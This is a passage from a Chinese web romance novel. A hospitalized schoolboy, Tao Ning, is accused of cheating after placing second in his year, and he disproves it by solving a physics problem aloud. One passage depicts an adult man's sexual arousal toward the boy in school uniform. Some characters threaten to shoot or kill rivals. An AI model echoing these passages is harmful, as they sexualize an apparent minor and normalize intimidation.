男人凑过来,近距离下,陶柠忽然看见他疲惫的眉眼,这次没有再赌气了,很乖地张开嘴,但最后,赵静群依旧温声细语哄了一个多小时,才让陶柠把一碗加了很多补品的白粥吃完。 陶柠吃饱后,赵静群松了口气,随意拿起另一碗早已凉掉的粥几口吃光,砸吧了下嘴,味道确实很一般,就是补的东西足够多,难怪他的宝贝不喜欢吃。他打算等会儿让孙震请几个做饭好吃的营养师过来。 如果陶柠没吃好那就再换,换到陶柠能多吃几口为止。 说换就换,赵静群给孙老二打了个电话,“再找几个营养师过来,南北口味的都要。” “马上安排,赵哥。” 挂了电话,赵静群发现陶柠还没问便又睡过去了,与此同时他收到了一条短信,是学校领导发来的。 自从上次他被奥克森特拦在门外面,赵静群就特意去拜访了一下校长,那天后学校的大门就为他敞开了,顺带附上陶柠在学校的表现都发给他。 晚上时,陶柠烧得昏昏沉沉,微睁双眸,只能听见赵静群在喊他,眨了几下眼睛算回应,期间护士又给他换了药物,检查他的身体状况,迷迷糊糊间陶柠听见“不好”“呼吸机”的字眼。 再清醒时,陶柠发现自己戴上了呼吸机,病房内只有医疗机械运行的声音,还有浓烈的消毒水味。而男人趴在他床边睡着了,并发出了一点很小的鼾声。 陶柠听阿姐说过,如果一个人劳累过度的话,晚上睡觉时可能会打呼噜。 心脏微微的疼,忍不住想碰一碰这个在他心里无所不能的男人,但刚抬起手指,男人便惊醒了,人还没完全清醒,却一把抓住他的手,声音沙哑:“怎么了乖?嗯?是不是疼了?” 陶柠小幅度摇了摇头,其实他很疼很疼,但忍住没说。 但眼前的男人似乎把他的忍耐看穿了,当即冷下脸,眉头蹙起。这是赵静群第一次对他冷脸,以往他无论如何闹脾气,都会由着他来,为什么他这次都没有闹脾气,更没有说疼。 陶柠忽然没由来的委屈,然而下一瞬,他却听见赵静群叹了口气,轻轻抹掉他眼角的泪珠,无奈道:“呆宝在我面前不要伪装自己,我不需要宝宝那么听话那么乖,更不要因为这些受委屈。” 男人那双如狼的眼睛看过来,温柔似水,“宝宝呆也好,撒娇也好,闹脾气也好,我都爱,都喜欢。” 陶柠愣住了,随即有些哽咽说:“赵静群,我疼。” 赵静群近乎虔诚吻住他的手指,低声承诺:“宝宝乖我一定会让你好起来的。” 第75章 第 75 章 第二名 那天晚上后, 陶柠一直在反复发热与昏沉中度过,他清醒的时间很少,但只要一睁眼, 总能看见赵静群温柔也勉强的笑容。 男人脸上冒出陶柠未曾见过的胡茬,看起来有些凶, 声音却极尽温柔:“宝宝乖,等出院那天老公告诉你一个好消息现在给你擦个澡。” “嗯。”透过呼吸机, 陶柠的声音并不明显。 因为怕洗澡引起感染发热,他已经很久没碰过水了,赵静群每隔几日会用浸过热水的毛巾细心给他擦拭身体, 这样陶柠身上会好受很多,但也没好多少,因为浑身依旧疼痛提不起半点力气, 还有长时间发热的缘故, 他的思绪完全被热浪堵住了, 无法思考。 偶尔拆下呼吸机, 陶柠会呆呆地问:“我会死吗?” 给他擦拭身体的男人动作瞬间僵住,白炽灯下, 他深邃而有些痞气的面孔变幻莫测,最后所有的情绪糅杂在一起,整张脸竟然显得扭曲, 半晌,才继续擦拭的动作。 又过了很久,男人语气才极其僵硬道:“陶柠,你说这些话,是在我心肝上挖肉。” 陶柠愣愣的:“对不起,我不说了。” 虽然他觉得, 生离死别是一件很正常的事情。二姐三姐不喜欢他大概还有一个原因,她们觉得这个捡回来的弟弟是个没良心的白眼狼,父母死时竟然一滴眼泪也没有掉,问他为什么不哭,小陶柠只是说:“人总会死。” 二姐三姐对这件事耿耿于怀,觉得他是个没良心的东西,不如送走吧,后面陶圆接过他的抚养权,她们才善罢甘休。 双唇被男人吻了吻,陶柠清晰感受到赵静群的身体在微微发抖,彼时他再也不是陶柠心里无所不能的人了,赵静群也会恐惧,从他心底传来的悲伤似潮水般包裹了陶柠。 以至于陶柠如今才发觉: 死亡对于生者来说是一件绝望的事情,所以他一定要好好活着。 幸好上天是眷顾陶柠的,他连续烧了一个多星期后,精神状态终于好了起来,这期间他一直在注射一种叫“ATG”的生物制剂,等他能下床走动时,赵静群带了六份试卷过来,这些时日总是皱着的眉头舒展开了,“呆宝,看我带来了什么?” 六张卷子逐一在陶柠面前展开,是他前两周期中考试的卷子,他是理科生,除了语文只有一百一十五,其他科目都接近满分,数学和物理这两科是满分。 陶柠很惊喜,但想起来奥克森特的总分还要算上平时个人行为分,他的总分肯定会大打折扣,赵静群却笑着说:“呆宝,你考了年级第二。” “真、真的吗?”陶柠睁大眼睛,漂亮的脸上染上红扑扑的兴奋。 赵静群忍不住摸了摸他柔软的头发,“真的,我前几天收到消息了,还买了礼物庆祝。” 门外传来孙老二的声音“哎,你们进去的时候轻点,别吵到我们小少爷了”,门开了,陶柠看过去,只见有两个工人正小心翼翼搬着一个长两米宽半米的透明盒,看到盒子里精心包装的东西,光线下闪烁出银色的金属光泽,无数复杂零件拼接出一个庞然大物。 陶柠的眼睛睁得更大了,惊喜道:“是擎天柱!” 除了喜欢奥特曼,陶柠还热爱一切跟机械有关的变形金刚等玩具,只是在家里时,他只会在文具店门口驻足看一会儿,并不会买。 现在突然收到一个巨大无比的变形金刚,陶柠拥有了两份快乐,而且还不止,等已经安装好的巨型擎天柱进来后,门外又进来一个同等高的包装箱,包装箱外围写满了“TRANSFORMERS”的变形金刚标志性宣传语。 “刚才那个是安装好的,”赵静群看见陶柠亮晶晶的双眼,跟着笑起来,“这个需要宝宝自己组装,等宝宝身体再好点,我陪你一起组装好不好?” 陶柠迫不及待来到两个比他高出好几个头的玩具盒前,隔着透明包装盒,爱不释手左碰碰右戳戳,“嗯!好。” 赵静群跟在他身后,提着他的鞋,无奈道:“宝宝,把鞋穿上” 陶柠的注意力已经全然被巨大的变形金刚玩具吸引,反倒把成绩抛之脑后了。而他不知道的是,在意程度排在擎天柱后面的成绩,已经在奥克森特引起了轩然大波。 一篇叫【我赌的人血本无亏,那个年级第二是谁啊】的帖子刚发出去十几分钟,下面就跟了五六页的帖子。 三之一的人在解释陶柠和“宋家二少爷”“年级第一会长”还有“校外神秘人士”三人之间的八卦,还有三分之一的人在讨论“陶柠一个偏远地区来的转校生,这么高的成绩是不是作弊得来的?”,最后三分之一的人在研究不戴眼镜的陶柠到底长什么样,并附上了很多偷拍的图片。 直到一个名叫【好好学习】的跟帖说:[他绝对作弊了,我跟他一个考场,他考数学的时候草稿纸没动过,其余时间在发呆,不可能考那么高的分数,我已经向教务处举报了,大家等着看结果吧。] 下面有附和的,当然也有怀疑的。 【呃呃呃】:[支持129L,我听他们班人说陶柠三天两头请病假,一个病秧子怎么可能考那么高的分数?] 【奥克领导全**】:[他英语土死了,就那样考148呵呵,等结果。] 【爱吃奶茶拌螺蛳】:[我也等结果,但你们真的没人知道他在奥赛班挂了名的吗?] 【飞鹏展翅】:[129L,他要是作弊老子直接退学,我是5班的王鹏。要是假的,我让你在这学校待不下去。] 别墅内的王鹏快要气炸了,他前不久还在家里人的嘘寒问暖中嘚瑟,只因为家里人惊讶他这次考试考了四百多分!王鹏当时觉得自己牛逼坏了,毕竟他读了十多年的书连两百分都没考到过,这次就算是抄陶柠抄来的,他也觉得自己非常厉害了,同时更加坚定陶柠是学神的想法。 他正想给陶柠打个电话送点礼,没想到刷帖子就看到了这个名为【好好学习】的ID发言,气得王鹏自爆开喷,陶柠到底有没有抄,他这个靠抄陶柠得来的四百多分最清楚了,而且最令他只想喊“牛逼”的,便是他抄的所有选择题居然全对! 这不是学神是什么??哪儿来的不长眼的在帖子里面叫。 因为在奥克森特发帖是实名制的,跟能查到发言人的身份信息,王鹏当即联系了在学生会的一个朋友,叫他去查这个ID背后的人是哪个班的叫什么名字,还让他把帖子封了,学生会的人回消息:【这个人是2班的刘玉良,会长已经在封贴了。】 王鹏:【刘玉良是吧,老子记住了。】 王鹏:【不对啊,徐隽不是休学了吗?】 对面:【还没有。】 等过了一会儿,王鹏纳闷了,他发现这个引战的帖子竟然还在,只是关于陶柠和那三个人的绯闻全没了,只有零星陶柠跟徐隽有关的事情,其他凡是对陶柠不利的言论通透都删掉了,尤其是照片,一张都不剩。 只有【好好学习】这个ID名和下面的跟帖还在,看来删帖人是故意留着这些发言了。 同一时刻,奥克森特四人间宿舍里,刘玉良正一边咬牙算几道数学题,一边回复问他陶柠作弊是不是真的之类的私信,他全部回复是真的, “为什么是错的?为什么”数学卷子分数栏上是刺目的100,远比他在从前学校里的数学得分差许多,刘玉良把这些归咎于奥克森特的题目太难了,他刚转学来没多久,还不适应,所以情有可原。 但刘玉良不能接受陶柠的数学竟然考了满分!他分明亲眼看见陶柠的草稿纸是空白的,根本没有动过笔,也只会发呆走神,为什么能考满分?! 刘玉良认为一定是陶柠提前得到了答案,因为他知道陶柠跟那些权贵子弟有关系,还跟徐隽是室友,因此陶柠绝对是靠作弊得来的分数,成绩出来时,刘玉良看到年级分数里陶柠排第二,而自己排到了一百名以外,虽然不用转学了,但依旧愤怒不已,当天便去了教务处举报陶柠作弊。 教务处的人说会调查核实,让他等待结果。 所以当刘玉良看到引战贴,毫不犹豫就说出了陶柠的分数是作弊得来的。但刘玉良看到他ID下跟贴的内容,不禁忐忑起来,急忙开始一道一道算错了的数学题,直到他无法确定陶柠当初说那些是错误的题目。 刘玉良去问室友:“你们班开始讲数学卷子了吧,借我对下答案。”他们宿舍都是来自不同班的转校生,而所有期中考试的卷子都是分数出来后才开始讲解的,但每个班的进度不一样,而李玉良的班级暂时还没讲这次的考试。 室友吧卷子给他,“哪一科的?” “数学。” 刘玉良把卷子拿走,看到熟悉的答案后心底咯噔一下,“你答案是不是对错了?”因为他拿不准的那几道题,正是陶柠早就说过的答案。 室友不太喜欢刘玉良这人,嫌他嘴硬事又多,闻言无语道:“觉得错了就别看,给我。”他把卷子拽了回去。 刘玉良咬牙:“你就是抄错了,我明天把正确答案给你。” 室友:“”莫名其妙。 第二天,刘玉良刚起床,就发现自己的私信被问爆了,全部都是问他结果怎么样的,这让刘玉良内心增加了许多底气,原本内心的忐忑瞬间平复下去。 因为他觉得这些人那么关注结果,肯定也认为陶柠的成绩是作弊得来的,毕竟一个乡下来的转校生,再怎么厉害也会被奥克森特的题目难倒,怎么可能年级第二?一定是他作弊了! 刘玉良同为转校生,自然知道这次考试的难度,所以他坚定认为陶柠是提前丛那些权贵子弟手里拿到了答案,他最痛恨的便是这种肮脏的事情,他还收到了昨天跟他抬杠的【飞鹏展翅】ID名的私信: [老子在教务处等你。] 他毫不犹豫拉黑了此人,并且在离开宿舍前发了一个帖子——【陶柠作弊的结果出来了,大家久等】 似乎早已有很多人在蹲守这次关于年级第二作弊的结果,刘玉良刚发帖,下面就有几十条回复。 【奥克领导全**】:[支持你兄弟,早看陶柠那副清高样不爽了,平时连句话都不说,结果对徐隽和宋郁丛那两人就跟哈巴狗一样去舔,****] 【呃呃呃】:[好戏来了,什么时候公布结果?] 【东京没雨】:[1L你真恶心,人家没搭理你破防了吧。] 【无敌霹雳小兔兔】:[只有我在认真等这次结果吗?] 帖子迅速被顶上了热度第一,刘玉良拿手机的手开始发抖,因为来奥克森特后,处处都充满对转校生的不屑和轻视,曾经他优秀的成绩在学校里是众星拱月般的存在,结果到了奥克森特后什么都不是。 他遭到了巨大的心理落差,也许久没有受到如此多的关注度了。 刘玉良的虚荣心迅速爆棚,看了下去教务处的路程,急忙彬彬有礼跟帖:[大家别急,我马上要拿到结果了。我始终相信,公平虽然离我们很远,但正义绝不会迟到!] 第76章 第 76 章 天才转校生 刘玉良这番慷慨激昂的言论发出来, 本来只是中立看戏的人沸腾了,他们当中也有许多转校生,即使后面已经成为奥克森特正式的学生了, 曾经被“不公”待遇的场景依旧历历在目,当即发言支持他: [感同身受, 为了楼主第一次在论坛发言,这次我站楼主这边!] [LZ别怕那些富二代报复, 这个世界还是群众多,他们都是些靠爸妈的废物。] [后续呢,作弊通报来了吗?] [楼主的话让我想起了一件事, 那个时候我还是转校生,结果我那个权贵同学嫌我身上有味,不让我读书当时差点退学, 还好我挺过来了。加油吧楼主。] [楼主的排名是被TN作弊得来的成绩压了?如果是这样, 我也支持楼主。] 这条帖子再次被顶上热度第一, 有些不明所以的人也纷纷加入讨伐, 甚至此事已经惊动了高年级部的老师,直到传到2班的班主任杨老师耳中。 “什么?!”杨老师唰的一下从工位上站起来, “陶柠作弊?我怎么没收到教务处的消息?” 告诉他的老师是隔壁1班的班主任,把论坛界面展示给他看,“哎唷, 教务处那个磨洋工的地方你又不是不知道,你看看,学生论坛都在讲的啦,他是不是真的作弊了?” 1班和2班是全校闻名最好的两个班,也是接收转校生最少的班级,但是1班年级前五只有两个, 还是年级第二、第五,其他的尖子生都在2班。2班班主任本来就觉得心里不平衡了,结果这次2班又一个转校生横空出世把年级第二拿走,所以1班的班主任自然乐得看杨老师慌乱。 杨老师正色道:“结果没出来之前不要乱说,我先去教务处一趟。” 他顺便给陶柠的表哥打电话,电话响了几声就接通了,只是现在时间还很早,电话那头的嗓音略微沙哑,“杨老师么?有什么事?” 杨老师正想把陶柠陷入作弊风波的事情说一下,结果电话那天忽然道:“抱歉,稍等一下。” “哎好,好。”杨老师前不久刚见过这位陶柠的表哥,给他送了价值极为昂贵的茶叶和文房四宝,说是感谢他的教导。 陶柠的这位表哥虽然看着爱笑,但身量太高了,还穿着一身黑衣服,不经意流露出的气势给人压迫感极强。 断定这是个权贵,杨老师潜意识里是有些畏惧的,但是紧接着,杨老师便听见电话那头的声音温柔至极,似乎在低声哄什么人。 模糊间只能听见“乖”“继续睡”“去外面”之类的字眼。 这人是谁?杨老师诧异,但很快就想到了,应该是女朋友,毕竟大早上的也只有女朋友在身边了。 又过了一会儿,电话那头应该是换了个地方,传来的声音清晰低沉:“杨老师,您继续说。” “事情是这样的”杨老师把陶柠疑似作弊和论坛的事情简单说了一遍。 电话那边没了声音,杨老师连忙找补说:“我现在马上要去教务处核实情况,陶柠家长你先别急,但陶柠如果身体好点了,建议他来学校一趟,因为这件事情闹得比较大,最好让陶柠来学校亲自证明,事后如果是误会一场,教务处的人必定会严惩那些造谣的学生。” 赵静群答应后挂了电话,脸色瞬间阴沉,但不仅是这件事,还有前不久孙老二给他转告的宋郁丛的话。现在陶柠还在观察期,需要静养,赵静群本来想把他关在家里养一段时间的,但现在看来不得不让陶柠出去了。 只是敢造谣陶柠作弊的人,他绝对不会放过,赵静群立刻给孙老二打了个电话,“找几个人去查一下有关陶柠作弊的事,把背后造谣的人列出名单告诉我。” 昨天后赵静群就带陶柠回了公寓,把两个巨型擎天柱放在了书房里,陶柠说想拼装,赵静群见他手上青青紫紫的针孔淤青,想都没想就拒绝。 结果他的小宝贝不乐意了,当场跟他闹脾气,赵静群哄了半天才哄好,又连夜给他买了拼起来没那么复杂的基础乐高,这位脾气见长的小祖宗才满意睡觉去了,而且一觉睡到现在。 赵静群推门进卧室,柔软的棉被下拱起一小团。 少年像冬眠的小动物似的,把自己团团包裹住,但姿势依旧是端端正正的,只露出一个小脑袋,呼吸均匀,刚才被吵醒的小脾气也没了。 无奈摇了摇头,赵静群蜻蜓点水似地啄了下少年嘟起来的唇,“宝宝,起床了。” 少年肉眼可见地皱起眉,嘴上却“噢”了一声,赵静群见他这副没睡醒的模样,心脏又疼起来。 赵静群是最清楚陶柠吃了很多苦的人,拇指盖大小的药丸和胶囊几十粒几十粒的咽下,输液更是日夜没停过,因为不能常打麻醉剂还有吃止痛药,所有的痛苦几乎都是陶柠一个人熬下来的,偶尔清醒的时候还会看书。 他这样乖这样坚强的宝贝,怎么可能作弊?赵静群心疼得不行,更是对造谣陶柠作弊的人气得想几枪崩了,但是他也会尊重陶柠的意见,不会动用蛮力把这件事平息,因为他可以封口,但摆不平偏见的人心。 而且赵静群相信陶柠有本事凭能力证明自己。 轻轻碰了碰陶柠柔软的脸颊,“呆宝,再不起床太阳要晒屁股了。” 没想到陶柠干脆像个蜗牛似的把脑袋埋进被子里,闷闷的声音从里面传出来:“公寓的地理位置不会让屁股晒到太阳。” 赵静群哭笑不得,脱了鞋子也钻进被子里,昏暗的光线中对上一双迷糊的眼眸,一颗心彻底软了下去,他把陶柠捞进怀里,边吻边说:“杨老师打电话来了,说有件事需要宝宝去处理。” 听到是学校的事情,陶柠清醒了许多,只是仍旧慢吞吞的“噢”了一声,但是没闹起床气了。 他从被窝里钻出来,刚坐起身伸了个懒腰,就被男人抱进怀里穿衣服。这件事他小小的抗拒过几次,后面见男人是真喜欢给他穿衣服,就没再挣扎了。 少年皮肤白皙透红,浓密纤长的睫毛上还沾着一点睡醒时的泪珠,懒洋洋坐在男人结实的大腿上,被男人伺候着穿校服,好似小几号的漂亮瓷娃娃。 赵静群见陶柠这副勾人的模样,热血直往身体下面冲,五指忍不住扣紧怀中人腰上的软肉,凑到他清瘦滑腻的锁骨处,急切地嗅闻舔吻,远处看去,就像一只超大号的狼狗在柔软无辜的少年身上耸动,身后的大狼尾巴摇成了螺旋桨。 被压在被窝里的陶柠:“” 最后还是陶柠据理力争,才从小山似的重量下逃脱,迅速洗漱完,拿了两个菜包子下楼了。 而身后跟着的男人唠叨似地念着:“宝宝,把眼镜戴上。早上吃这么点够不够啊?我还拿了一小碗粥,等会呆宝到车上吃完,那今天让司机开车算了,我们坐后面,宝宝,听到了没” 两人到学校时,正好赶上早自习下课,周围人来人往,看到陶柠后会驻足停下,掩住嘴开始和同伴窃窃私语,“欸,你看,是论坛上那个人。”“他们这样子是去教务处吧。”“我们也跟着。” 还有些人想肆无忌惮打量陶柠,但视线触及到陶柠身后冷漠阴郁的双眸时,瞬间不敢了。 赵静群的身高在北方也算高,更别提在普遍身高一般的南方,他站在陶柠身后,鹤立鸡群,居高临下,凶狠的目光扫过去,吓得那些目光不善的人瞬间缩回脖子。 但是仅仅一会儿,冰冷的目光不见了,取而代之的是担忧:“柠柠,真的不让我进去吗?” 不知道宋郁丛和徐隽在不在学校,如果在的话他们三人同时碰上了就不好了。陶柠坚决不会让这种事情发生,“嗯”了一声。 赵静群拗不过他,只好把喝了一半的粥塞到他手里,“你早上没吃多少东西,学校里有微波炉,柠柠等会把粥热一下喝掉,这里面都是补品,对身体有好处。” 陶柠点了点头,心想难怪味道挺怪的,他不喜欢喝。 赵静群一眼就看穿了他的心思,“我会告诉你们杨老师看着你喝,柠柠要是背着我倒掉,以后晚上回家每天都煮补品粥,再吃一碗鸡汤。” 陶柠:“知道了。” 两人在这里为一碗粥喝不喝光争半天,全然不知道教务处的办公室快要吵翻天了,刘玉良比王鹏先一步进教务处,他越过王鹏,直接问教务处的张老师:“老师,调查结果出来了吗?” 张老师看了他一眼,“出是出来了,但你是不是在论坛上发了引战的帖子?” 王鹏当即痛骂:“就是这丫怂比,只会躲在手机后面乱造谣,有本事你和我打一架” 张老师无语道:“你闭嘴。” “我会承担责任!”刘玉良涨红了眼,“但我只想要一个公平,难道这也有错?我知道学校有钱有势的人很多,但不代表他们可以把答案卖给其他人帮他们作弊,这种行为会寒了我们正常考试的学生的心。” 他拔高了声调,“如果奥克森特的年级第二竟然可以靠作弊得来,那以后进来的学生还考什么试?直接作弊好了!果然奥克森特就是富人垄断的学校,什么教育权威国民学校都是鬼话!” 张老师站起身道:“你别乱说” 刘玉良身后还跟着好几个来看热闹的学生,有些人闻言激动附声:“说的真好!抵制作弊的人!”这些话瞬间点燃了其他看热闹的学生,一声接一声“抵制作弊”的高呼响起,教务处占据了一个楼层,但也有不少过路的学生,听到声音后纷纷过来了。 这些声音直接惊动了教务处的处长,光头锃亮的处长跑了出来,“都是哪个班的,谁在这里吵?!”其身后一个腿长高个的男人走出来,步伐不紧不慢,男人一身定制缎面长衫,脖颈处系蓝色绸缎,五官俊美逼人,看起来颇为赏心悦目却偏偏臭着脸。 他双手抱臂,正是宋郁丛。 两人一出现,现场吵闹的氛围瞬间熄火许多,但依旧有众多窃窃私语,直到张老师来到处长面前把事情的缘由说了一遍,话说到一半,宋郁丛双手抱臂朝刘玉良走去,人群自动给这位脾气出了名差的少爷让出一条路。 “你说有人给陶柠答案作弊,”宋郁丛冷笑,“那个人是谁?” 刘玉良见状,心底又开始没由来的忐忑,因为眼前人的气势过强,他知道自己惹不起,但是背后有人给他加油鼓舞,那些人不是转校生,还有同为权贵的富二代,“你别怕,大胆说出来,我们罩着你。” 此话一出,刘玉良瞬间有了底气,梗着脖子说:“是谁你心里没数吗?” “你的意思是说我?” “就是你和徐隽两人给了陶柠答案!现在学校谁不知道你们在帮陶柠?!” 刘玉良不提徐隽还好,一提宋郁丛脸色冷笑瞬间消失,直接黑脸,他掏出一部手机,冷冷道:“我已经全部录音了,不自量力的蠢货,我的律师会告得你倾家荡产,滚开。” 宋郁丛觉得看刘玉良一眼都嫌脏,正想当场就走,直到看见人群后那颗呆毛竖起的脑袋,脚又伸了回去,继续和刘玉良对峙:“你怎么知道陶柠作弊了?” 刘玉良不知道他为什么态度转变得如此快,但依旧慷慨激昂道:“我跟他一个考场,第一场考数学,亲眼看见他草稿纸全部空白,如果没有提前背答案,考数学怎么可能不用草稿纸?你们不信就把他的草稿纸拿出来” 奥克森特每场考试都会发草稿纸,而且每个科目都有专属的草稿纸且要署名,考完就要上交。没过多久,张老师就拿了一沓纸过来,是陶柠六科的草稿纸,显而易见,除了语文有作文打稿的痕迹和生物草稿纸上有零星的字迹,如刘玉良所说,其他科目的草稿纸都是空白的。 人群沸腾,刘玉良也瞬间激动:“我说了是真的!” 王鹏实在听不下去了,冲出去拎起刘玉良的衣领,有人捂住嘴尖叫,还有人上去拉架,场面几度混乱不堪,直到一道清软的嗓音响起:“那个我没有作弊。” 混乱的场面霎时间安静下来,人们面面相觑,连忙朝声音来源看过去,只见少年一边向四周的人小声说抱歉一边进入人群中心。 少年似乎比以往又瘦了一圈,依据体型定制的学院西装制服穿在身上,显得身形更加羸弱,肤色带着虚弱的病气,皮肤苍白到要透明的地步,但黑框眼镜后的双眸却很亮,唇色微红。 仿佛很少出现在众人的视野里,尤其是层层包围之下,少年像一只闯入野兽群的羔羊,看上去有些怯懦和犹豫,但始终没有后退过。 所有人都惊疑不定看着突然出现的陶柠,刘玉良推开拎他衣领的王鹏,愤怒道:“你说没有作弊,那草稿纸怎么是空白的?!” 陶柠已经在车上知道事情经过了,赵静群本想安慰他,没想到陶柠其实以前就被质疑过,他对此见怪不怪,之所以慌张和犹豫,是因为他不习惯被人群包围。 气氛瞬间凝固,因为陶柠没有说话,有人喊道:“还有脸过来,作弊可耻不知道么?”“看来背答案无疑了。”“那几门难死了,怎么可能有人不在草稿纸演算就做得出来?就是作弊!” “他以为自己是天才啊,等会怕不是说自己不演算直接心算吧?搞笑” “嗯,就是心算。” 淡淡的四个字出来,在场所有人都鸦雀无声,目瞪口呆看人群中心的陶柠,他背脊挺得很直,脸上也没什么情绪波动,说这句话的时候就像在谈论天气般平常。 “怎么可能——?!”刘玉良神情激动,想要冲到陶柠身前质问,但旁边突然一脚踢了过来,把他踹到地上,宋郁丛双手抱臂,居高临下道:“敢动他,你试试?” “你们你们一群狼狈为奸的东西!”刘玉良被踹倒在地,被权贵欺负的屈辱溢于言表,被那么多师生包围,他感到深深的羞耻感和难堪,更加坚信不疑认为陶柠背后是宋郁丛在帮他。 而处长抹了把汗,亲自将刘玉良扶起来,讪讪道:“郁丛,这里是学校,不要胡闹。” 刘玉良甩开处长的手,双目猩红指着陶柠道:“你别大言不惭了!那几门考试公认的难度高,及格率都很低,你怎么可能不演算就做得出来?我看你就是收了宋郁丛给的答案!” 宋郁丛火气飙升,还想再踹一脚,却被陶柠拦住了,少年走到他面前,说:“我想起你了,你在考场上想跟我对答案,我也告诉你了,为什么今天要反过来质疑我作弊?而且你觉得不演算做不出来,不代表我不行,这是个人能力问题。” 此话一出,先不提刘玉良想跟陶柠对答案这件事,众人也被少年几乎狂妄的语气震惊到了,他们做梦也没想到,看上去羸弱不堪,甚至有些腼腆病弱的人,竟然能大放厥词,还脸不红心不跳。 刘玉良恨不得跳起来反驳:“你胡说八道!我什么时候想跟你对答案了?我是同情你,看你做不出来想让你抄!” 陶柠困惑:“可是我都会做,不需要抄你的。” “你、你”刘玉良气得说不出话,觉得没见过陶柠这么厚颜无耻的人,“那为什么我每次抬头都能看见你在走神?!” 陶柠想了想,答道:“因为我都写完了。” “” 少年所有的话都能解释通他在别人眼里异常的行为,刘玉良最后连“你你你”都说不出来了,别人看他气到双目发红,脸色青白交加像是要昏厥的样子,帮他的忙说:“那你有什么证据证明你说的话?” 张老师说:“监控里显示陶柠的确每堂考试几乎都在半小时左右完成,这些都不能代表陶柠提前把背好的答案写出来了,也不能证实陶柠在作弊。” 少年脸上肉眼可见的有些无可奈何,“你们有谁带了卷子吗?什么卷子都行。” 有人把书包里的物理卷子递给他,少年说了谢谢,然后把卷子交给刘玉良,认真说:“既然你不相信,那我就证明给你看。”他指着卷子继续道:“这上面所有题我都有至少两种解法,随便你挑,我可以不用草稿纸现场给你讲。” 陶柠淡淡说:“但你能不能听懂,我就不知道了。” 宋郁丛饶有兴趣看人群中心锋芒毕露的少年,这还是他第一次见如此凌厉的陶柠,虽然也跟他发过脾气,但那时候生气时更像是要逃去森林的小松鼠,脸蛋鼓鼓的,挺可爱。 没想到这土包子真正跟人辩驳起来挺像那么回事,看似温温吞吞,结果说出来的话能把人气个半死。 果不其然刘玉良脸色铁青,故意指着最后一道压轴题道:“我不信你能口头算出来。”就算是背答案也不可能一模一样,刘玉良对自己的判断非常自信。 这时候有人看热闹不嫌事大,把年级组的物理组长老师给请过来了。 陶柠接过试卷,扫了几下题目,回忆起当时做题的过程,沉吟片刻,然后不疾不徐道:“这道题是典型的电磁感应与动力学综合问题,需要拆分三个步骤,第一步是力的计算,金属棒进入磁场前,与导体框共同以加速度匀速下滑,公式是gsin” 陶柠站在原地,神情几乎淡漠,他深入浅出,思维逻辑非常清晰,但随着少年语速由慢转快,许多人听的速度已经跟不上少年说的速度,只能把笔拿出来记下。 而刘玉良的脸色逐渐越来越白,最后是一片惨白。 似乎还嫌不够,陶柠又说了另外一种鲜为人知的解法,有人惊叫说:“靠!这种解法我在物理竞赛上见过。” 人群瞬间轰动,还有人说:“我早说了他在我们数奥班挂了名,不来我们班集训只有一个原因,那就是他有足够的能力和自制力去学习,你们居然不知道” 物理组的老师看陶柠时的眼神在发光,他也真的没想到这个做数奥的学生竟然也学过物理竞赛,连忙说:“是个好苗子,有没有兴趣来我们物理竞赛班啊?” 陶柠顿了顿,“对不起老师,我对数学感兴趣一点。” 物理老师遗憾叹息,眼见物理组最德高望重的老师都想让陶柠进竞赛班,而且人家真的做到了不用任何草稿纸就能把答案说出来,步骤简单、清晰,有些人还正如人家所说,听都听不懂。 这样的人会作弊?那才是真正的笑话!陶柠作弊的谣言当即不攻自破。 有些刚才造谣陶柠作弊的人想要溜走,被王鹏和一些人给拎出来了。刘玉良站在人群中央,浑身止不住发抖,陶柠竟然真的可以心算做题?!为什么没人早点告诉他?如果有人早点告诉他就不会有现在的事情了! 一定是他们故意的,他们就是看不起我,想故意让我出丑! 刘玉良感觉被人无形之中扇了好几个耳光,脸上火辣辣的疼,而众人看过来的目光顷刻间转变,方才口口声声说支持他的人瞬间变了脸,嘴唇一张一合,都在骂他就是小丑,或是该死的造谣者。 刘玉良身体发抖,脸色惨白往后退:“不、不可能的,你们就是看不起我,想故意害我” 宋郁丛冷冷道:“赶紧道歉。” “是啊!赶紧道歉!” “道歉!刘玉良,你还是不是男人了?” “他妈的,老子今天课都撬了来支持他,没想到误伤人了。”说话的人正是说要罩着刘玉良的人,他是四大家族的之一的旁系,就算是旁系他也不怕一般的富二代。 但他站出来了,对陶柠说:“对不起啊兄弟,误会你了,向你郑重道歉。”甚至还深深鞠了一躬。 而刚才还满脸冷漠认真的少年气势瞬间全无,又变成了平日里呆呆的样子,急忙摆手道:“不不用这样。” 而其他人见状,也纷纷道歉。 “陶柠,对不起啊,误会你了。” “是啊是啊,都怪刘玉良这人,说的振振有词,结果让我们相信他的话了。” “陶柠,对不起” 令人意外的是,几乎所有人都在道歉,陶柠呆呆的模样也没了,反而很认真说:“我原谅大家,但是下次再发生这种事,我不会原谅了。” 他只是不爱说话,又不是好欺负,今天起码有数百人围在这小小的一块地方,而陶柠来到现场后,听到三分之二以上的人在污蔑、造谣他,心里非常难受,也做了很久的心理建设,才能从那么多恶意的目光中镇定走出来,证明自身的清白。 宋郁丛干脆推了一把刘玉良,后者一直在喃喃自语,突然被推了一把,仿佛刚从梦中惊醒,脸色惨白,接着把头埋得很低,声音细得像蚊子:“陶、陶柠,对不起。” 面对这场造谣的主谋,陶柠沉默片刻,说:“当时你觉得我做不出来,所以想把卷子给我看,我很感谢你,但是后来你在没有证据的情况下说我作弊,这种行为很讨厌。” 刘玉良本就惨白的脸上随这些话一点一点褪去血色,头也埋得更低。 “我原谅你了。”陶柠说完,转身离开。 当事人都走了,现场的人也不再久留,纷纷散场。 而刘玉良倏地抬起眼睛,先是怔怔地盯着少年清瘦的背影,眼底的情绪异常复杂,最后却闪过浓烈的憎恨与自卑。 宋郁丛刚好看见他眼中一闪而过的仇恨,微微蹙眉,警告道:“别忘了,还有法院的传票在等着你,最好给我老实点,不然——”他压低声音,“我找人弄死你。” 刘玉良浑身僵硬,瞬间吓成了筛子,低下头加快脚步离开了。 经此一事后,奥克森特的论坛瞬间炸开锅,有人把这件事的现场和图片都发在网上,没有去线下的吃瓜群众全部震惊,然后恶心刘玉良的为人。 最后甚至有“天才转校生”的头衔安在陶柠身上,后续还有人关注刘玉良的去向。 只是陶柠都不知道,因为他就没上过网,手机除了打电话就是发短信,令他唯一苦恼的是,上完课后他不仅从头至尾没有看见徐隽,到了校门口,也迟迟不见赵静群的影子。 